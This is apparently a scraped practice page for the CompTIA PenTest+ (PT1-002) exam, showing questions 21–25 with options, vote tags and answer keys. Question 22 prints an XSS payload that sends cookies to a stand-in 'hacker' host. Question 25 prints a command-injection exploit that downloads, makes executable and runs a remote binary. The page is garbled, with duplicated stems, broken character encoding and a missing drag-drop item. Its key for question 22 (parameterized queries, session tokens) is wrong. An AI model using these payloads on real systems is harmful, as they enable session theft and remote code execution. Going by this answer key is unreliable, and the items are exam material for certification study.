CompTIA PT1-002 Exam Practice Questions (P. 5)
- Full Access (110 questions)
- Six months of Premium Access
- Access to one million comments
- Seamless ChatGPT Integration
- Ability to download PDF files
- Anki Flashcard files for revision
- No Captcha & No AdSense
- Advanced Exam Configuration
Question #21
DRAG DROP -
You are a penetration tester reviewing a client's website through a web browser.
INSTRUCTIONS -
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.






Select and Place:

You are a penetration tester reviewing a client's website through a web browser.
INSTRUCTIONS -
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.






Select and Place:

send
light_mode
delete
Question #22
Given the following code:
<SCRIPT>var+img=new+Image();img.src=`http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
<SCRIPT>var+img=new+Image();img.src=`http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- AWeb-application firewall
- BParameterized queries
- COutput encodingMost Voted
- DSession tokens
- EInput validationMost Voted
- FBase64 encoding
Correct Answer:
BD
BD
send
light_mode
delete
Question #23
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?
- AReach out to the primary point of contactMost Voted
- BTry to take down the attackers
- CCall law enforcement officials immediately
- DCollect the proper evidence and add to the final report
Correct Answer:
A
A
send
light_mode
delete
Question #24
A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?
- AAs backup in case the original documents are lost
- BTo guide them through the building entrances
- CTo validate the billing information with the client
- DAs proof in case they are discoveredMost Voted
Correct Answer:
D
Reference:
https://hub.packtpub.com/penetration-testing-rules-of-engagement/
D
Reference:
https://hub.packtpub.com/penetration-testing-rules-of-engagement/
send
light_mode
delete
Question #25
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = `POST ` exploit += `/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} `" c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%
27&loginUser=a&Pwd=a`
exploit += `HTTP/1.1`
Which of the following commands should the penetration tester run post-engagement?
27&loginUser=a&Pwd=a`
exploit += `HTTP/1.1`
Which of the following commands should the penetration tester run post-engagement?
- Agrep ג€"v apache ~/.bash_history > ~/.bash_history
- Brm ג€"rf /tmp/apacheMost Voted
- Cchmod 600 /tmp/apache
- Dtaskkill /IM ג€apacheג€ /F
Correct Answer:
B
B
send
light_mode
delete
All Pages